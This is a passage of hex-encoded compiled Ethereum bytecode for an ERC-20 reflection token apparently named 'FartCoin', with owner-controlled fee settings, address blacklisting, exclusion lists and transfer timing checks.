5f205f6101000a81548160ff0219169083151502179055506115328160016131bf90919063ffffffff16565b5050565b5f6115d3611542612caf565b848460055f61154f612caf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115ce9190614f5c565b612cb6565b6001905092915050565b6115e5612caf565b73ffffffffffffffffffffffffffffffffffffffff166116036121a0565b73ffffffffffffffffffffffffffffffffffffffff1614611659576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165090614d8e565b60405180910390fd5b5f4790503373ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156116a0573d5f803e3d5ffd5b5050565b5f60085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6116f2612caf565b73ffffffffffffffffffffffffffffffffffffffff166117106121a0565b73ffffffffffffffffffffffffffffffffffffffff1614611766576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175d90614d8e565b60405180910390fd5b600160065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f600c54831115611804576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fb90614fd9565b60405180910390fd5b81611823575f6118158460016131ec565b9050805f015191505061183a565b5f61182f8460016131ec565b905080602001519150505b92915050565b611848612caf565b73ffffffffffffffffffffffffffffffffffffffff166118666121a0565b73ffffffffffffffffffffffffffffffffffffffff16146118bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b390614d8e565b60405180910390fd5b5f5b8282905081101561195257600160065f8585858181106118e1576118e0614ea2565b5b90506020020160208101906118f691906149a7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506118be565b505050565b61195f612caf565b73ffffffffffffffffffffffffffffffffffffffff1661197d6121a0565b73ffffffffffffffffffffffffffffffffffffffff16146119d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ca90614d8e565b60405180910390fd5b5f600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b602560179054906101000a900460ff1681565b611a45612caf565b73ffffffffffffffffffffffffffffffffffffffff16611a636121a0565b73ffffffffffffffffffffffffffffffffffffffff1614611ab9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab090614d8e565b60405180910390fd5b8360175f018190555082601760010181905550816017600201819055508060176003018190555050505050565b611aee612caf565b73ffffffffffffffffffffffffffffffffffffffff16611b0c6121a0565b73ffffffffffffffffffffffffffffffffffffffff1614611b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5990614d8e565b60405180910390fd5b60075f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611bec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be390615041565b60405180910390fd5b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541115611cb957611c7760035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e82565b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b600160075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600b81908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b611dcb612caf565b73ffffffffffffffffffffffffffffffffffffffff16611de96121a0565b73ffffffffffffffffffffffffffffffffffffffff1614611e3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3690614d8e565b60405180910390fd5b80600e8190555050565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611ede5760045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050611f1f565b60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505b919050565b601b805f0154908060010154908060020154908060030154905084565b611f49612caf565b73ffffffffffffffffffffffffffffffffffffffff16611f676121a0565b73ffffffffffffffffffffffffffffffffffffffff1614611fbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fb490614d8e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6017805f0154908060010154908060020154908060030154905084565b61209c612caf565b73ffffffffffffffffffffffffffffffffffffffff166120ba6121a0565b73ffffffffffffffffffffffffffffffffffffffff1614612110576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210790614d8e565b60405180910390fd5b83601b5f018190555082601b6001018190555081601b6002018190555080601b6003018190555050505050565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b6015805f0154908060010154905082565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f46617274436f696e000000000000000000000000000000000000000000000000815250905090565b600e5481565b6011805f0154908060010154908060020154908060030154905084565b5f808403612237575f90506122d4565b5f84426122449190614efc565b9050600f5481036122595760019150506122d4565b5f81036122be578273ffffffffffffffffffffffffffffffffffffffff1660105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122bd575f9150506122d4565b5b8381116122cf5760019150506122d4565b5f9150505b9392505050565b5f6123996122e7612caf565b84612394856040518060600160405280602581526020016155d86025913960055f612310612caf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461316b9092919063ffffffff16565b612cb6565b6001905092915050565b6008602052805f5260405f205f915090505481565b5f6123cb6123c4612caf565b8484612e79565b602560149054906101000a900460ff16905092915050565b602560149054906101000a900460ff1681565b6123fe612caf565b73ffffffffffffffffffffffffffffffffffffffff1661241c6121a0565b73ffffffffffffffffffffffffffffffffffffffff1614612472576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246990614d8e565b60405180910390fd5b8060235f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160075f60235f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600b60235f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060018154018082558091505060019003905f5260205f20015f9091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060035f60235f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60235f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050565b612675612caf565b73ffffffffffffffffffffffffffffffffffffffff166126936121a0565b73ffffffffffffffffffffffffffffffffffffffff16146126e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126e090614d8e565b60405180910390fd5b80602560176101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516127329190614966565b60405180910390a150565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6127c7612caf565b73ffffffffffffffffffffffffffffffffffffffff166127e56121a0565b73ffffffffffffffffffffffffffffffffffffffff161461283b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161283290614d8e565b60405180910390fd5b80602560146101000a81548160ff02191690831515021790555050565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6128a6612caf565b73ffffffffffffffffffffffffffffffffffffffff166128c46121a0565b73ffffffffffffffffffffffffffffffffffffffff161461291a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291190614d8e565b60405180910390fd5b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b6009602052805f5260405f205f915090505481565b60235f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6129b3612caf565b73ffffffffffffffffffffffffffffffffffffffff166129d16121a0565b73ffffffffffffffffffffffffffffffffffffffff1614612a27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1e90614d8e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612a95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a8c906150cf565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60245f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b612ba2612caf565b73ffffffffffffffffffffffffffffffffffffffff16612bc06121a0565b73ffffffffffffffffffffffffffffffffffffffff1614612c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0d90614d8e565b60405180910390fd5b5f5b82829050811015612caa576001600a5f858585818110612c3b57612c3a614ea2565b5b9050602002016020810190612c5091906149a7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550806001019050612c18565b505050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d1b9061515d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612d92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d89906151eb565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612e6c919061498e565b60405180910390a3505050565b600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015612f175750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b612f56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f4d90615253565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612fc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fbb906152e1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613032576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130299061536f565b60405180910390fd5b5f8111613074576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161306b906153fd565b60405180910390fd5b61307d83611e49565b8111156130bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130b69061548b565b60405180910390fd5b61316683838360065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680613160575060065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561324e565b505050565b5f8383111582906131b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131a99190614859565b60405180910390fd5b5082840390509392505050565b5f6131e4835f018373ffffffffffffffffffffffffffffffffffffffff165f1b613e09565b905092915050565b6131f461479a565b6131fe8383613f05565b905061321381848461320e61400b565b61402d565b865f018760200188604001896060018a6080018b60a00186815250868152508681525086815250868152508681525050505050505092915050565b80156136285760235f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603613456576132b06121a0565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561331e57506132ee6121a0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156133575750600173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156133e4575f60085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054036133e3574260085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b8260105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506017601f5f820154815f0155600182015481600101556002820154816002015560038201548160030155905050613623565b61345e6121a0565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156134cc575061349c6121a0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156135055750600173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156135a6575f613520613517866116a4565b600e5487612227565b905080613562576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613559906154f3565b60405180910390fd5b4260095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b601b601f5f820154815f0155600182015481600101556002820154816002015560038201548160030155905050601f60020154601f600201819055508360105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b613749565b60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156136b8578360105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615613748578260105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5f61375483836131ec565b905060075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156137f3575060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15613887578260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546138419190614efc565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550613b78565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015613924575060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156139bc578060c0015160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546139769190614f5c565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550613b77565b60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015613a58575060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15613b76578260045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054613aa69190614efc565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508060c0015160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054613b349190614f5c565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b5b805f015160035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054613bc49190614efc565b60035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550806020015160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054613c529190614f5c565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508115613d5f57613cab81604001518260e001516140b2565b613cbe81606001518261010001516140e4565b613cd18160800151826101200151614281565b613ce48160a0015182610140015161441f565b3073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836101200151846101000151613d499190614f5c565b604051613d56919061498e565b60405180910390a35b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360c00151604051613dc0919061498e565b60405180910390a3613ddc84600161446690919063ffffffff16565b505f613de786611e49565b03613e0257613e008560016131bf90919063ffffffff16565b505b5050505050565b5f80836001015f8481526020019081526020015f205490505f8114613efa575f600182613e369190614efc565b90505f6001865f0180549050613e4c9190614efc565b9050818114613eb2575f865f018281548110613e6b57613e6a614ea2565b5b905f5260205f200154905080875f018481548110613e8c57613e8b614ea2565b5b905f5260205f20018190555083876001015f8381526020019081526020015f2081905550505b855f01805480613ec557613ec4614f2f565b5b600190038181905f5260205f20015f90559055856001015f8681526020019081526020015f205f905560019350505050613eff565b5f9150505b92915050565b613f0d61479a565b81613f2157828160c0018181525050614005565b6064601f5f015484613f339190615511565b613f3d919061557f565b8160e00181815250506064601f6001015484613f599190615511565b613f63919061557f565b816101000181815250506064601f6002015484613f809190615511565b613f8a919061557f565b816101200181815250506064601f6003015484613fa79190615511565b613fb1919061557f565b816101400181815250508061014001518161012001518261010001518360e0015186613fdd9190614efc565b613fe79190614efc565b613ff19190614efc565b613ffb9190614efc565b8160c00181815250505b92915050565b5f805f614016614493565b915091508082614026919061557f565b9250505090565b5f805f805f8060019650889550876140565785865f805f809550955095509550955095506140a5565b8960e00151935089610100015192508961012001519150896101400151905080828486896140849190614efc565b61408e9190614efc565b6140989190614efc565b6140a29190614efc565b94505b9499939850945094509450565b81600d546140c09190614efc565b600d819055508060115f015f8282546140d99190614f5c565b925050819055505050565b8060155f015f8282546140f79190614f5c565b925050819055508060116001015f8282546141129190614f5c565b925050819055508160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546141629190614f5c565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561427d578060045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461423b9190614f5c565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5050565b8060156001015f8282546142959190614f5c565b925050819055508060116002015f8282546142b09190614f5c565b925050819055508160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546143009190614f5c565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561441b578060045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546143d99190614f5c565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5050565b8060116003015f8282546144339190614f5c565b9250508190555080600c546144489190614efc565b600c8190555081600d5461445c9190614efc565b600d819055505050565b5f61448b835f018373ffffffffffffffffffffffffffffffffffffffff165f1b614713565b905092915050565b5f805f600d5490505f600c5490505f5b600b805490508110156146dd578260035f600b84815481106144c8576144c7614ea2565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205411806145ad57508160045f600b848154811061454957614548614ea2565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054115b156145c457600d54600c549450945050505061470f565b60035f600b83815481106145db576145da614ea2565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054836146489190614efc565b925060045f600b838154811061466157614660614ea2565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054826146ce9190614efc565b915080806001019150506144a3565b50600c54600d546146ee919061557f565b82101561470657600d54600c5493509350505061470f565b81819350935050505b9091565b5f61471e838361477a565b61477057825f0182908060018154018082558091505060019003905f5260205f20015f9091909190915055825f0180549050836001015f8481526020019081526020015f208190555060019050614774565b5f90505b92915050565b5f80836001015f8481526020019081526020015f20541415905092915050565b6040518061016001604052805f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81525090565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61482b826147e9565b61483581856147f3565b9350614845818560208601614803565b61484e81614811565b840191505092915050565b5f6020820190508181035f8301526148718184614821565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6148aa82614881565b9050919050565b6148ba816148a0565b81146148c4575f80fd5b50565b5f813590506148d5816148b1565b92915050565b5f819050919050565b6148ed816148db565b81146148f7575f80fd5b50565b5f81359050614908816148e4565b92915050565b5f806040838503121561492457614923614879565b5b5f614931858286016148c7565b9250506020614942858286016148fa565b9150509250929050565b5f8115159050919050565b6149608161494c565b82525050565b5f6020820190506149795f830184614957565b92915050565b614988816148db565b82525050565b5f6020820190506149a15f83018461497f565b92915050565b5f602082840312156149bc576149bb614879565b5b5f6149c9848285016148c7565b91505092915050565b5f805f606084860312156149e9576149e8614879565b5b5f6149f6868287016148c7565b9350506020614a07868287016148c7565b9250506040614a18868287016148fa565b9150509250925092565b614a2b8161494c565b8114614a35575f80fd5b50565b5f81359050614a4681614a22565b92915050565b5f60208284031215614a6157614a60614879565b5b5f614a6e84828501614a38565b91505092915050565b5f60208284031215614a8c57614a8b614879565b5b5f614a99848285016148fa565b91505092915050565b5f60ff82169050919050565b614ab781614aa2565b82525050565b5f602082019050614ad05f830184614aae565b92915050565b5f8060408385031215614aec57614aeb614879565b5b5f614af9858286016148fa565b9250506020614b0a85828601614a38565b9150509250929050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112614b3557614b34614b14565b5b8235905067ffffffffffffffff811115614b5257614b51614b18565b5b602083019150836020820283011115614b6e57614b6d614b1c565b5b9250929050565b5f8060208385031215614b8b57614b8a614879565b5b5f83013567ffffffffffffffff811115614ba857614ba761487d565b5b614bb485828601614b20565b92509250509250929050565b5f805f8060808587031215614bd857614bd7614879565b5b5f614be5878288016148fa565b9450506020614bf6878288016148fa565b9350506040614c07878288016148fa565b9250506060614c18878288016148fa565b91505092959194509250565b5f608082019050614c375f83018761497f565b614c44602083018661497f565b614c51604083018561497f565b614c5e606083018461497f565b95945050505050565b5f604082019050614c7a5f83018561497f565b614c87602083018461497f565b9392505050565b614c97816148a0565b82525050565b5f602082019050614cb05f830184614c8e565b92915050565b5f805f60608486031215614ccd57614ccc614879565b5b5f614cda868287016148fa565b9350506020614ceb868287016148fa565b9250506040614cfc868287016148c7565b9150509250925092565b5f8060408385031215614d1c57614d1b614879565b5b5f614d29858286016148c7565b9250506020614d3a858286016148c7565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f614d786020836147f3565b9150614d8382614d44565b602082019050919050565b5f6020820190508181035f830152614da581614d6c565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f614e06602a836147f3565b9150614e1182614dac565b604082019050919050565b5f6020820190508181035f830152614e3381614dfa565b9050919050565b7f4163636f756e74206973206e6f74206578636c756465640000000000000000005f82015250565b5f614e6e6017836147f3565b9150614e7982614e3a565b602082019050919050565b5f6020820190508181035f830152614e9b81614e62565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f614f06826148db565b9150614f11836148db565b9250828203905081811115614f2957614f28614ecf565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603160045260245ffd5b5f614f66826148db565b9150614f71836148db565b9250828201905080821115614f8957614f88614ecf565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c79005f82015250565b5f614fc3601f836147f3565b9150614fce82614f8f565b602082019050919050565b5f6020820190508181035f830152614ff081614fb7565b9050919050565b7f4163636f756e7420697320616c7265616479206578636c7564656400000000005f82015250565b5f61502b601b836147f3565b915061503682614ff7565b602082019050919050565b5f6020820190508181035f8301526150588161501f565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6150b96026836147f3565b91506150c48261505f565b604082019050919050565b5f6020820190508181035f8301526150e6816150ad565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6151476024836147f3565b9150615152826150ed565b604082019050919050565b5f6020820190508181035f8301526151748161513b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6151d56022836147f3565b91506151e08261517b565b604082019050919050565b5f6020820190508181035f830152615202816151c9565b9050919050565b7f54686973206164647265737320697320626c61636b6c697374656400000000005f82015250565b5f61523d601b836147f3565b915061524882615209565b602082019050919050565b5f6020820190508181035f83015261526a81615231565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6152cb6025836147f3565b91506152d682615271565b604082019050919050565b5f6020820190508181035f8301526152f8816152bf565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6153596023836147f3565b9150615364826152ff565b604082019050919050565b5f6020820190508181035f8301526153868161534d565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f00000000000000000000000000000000000000000000006020820152505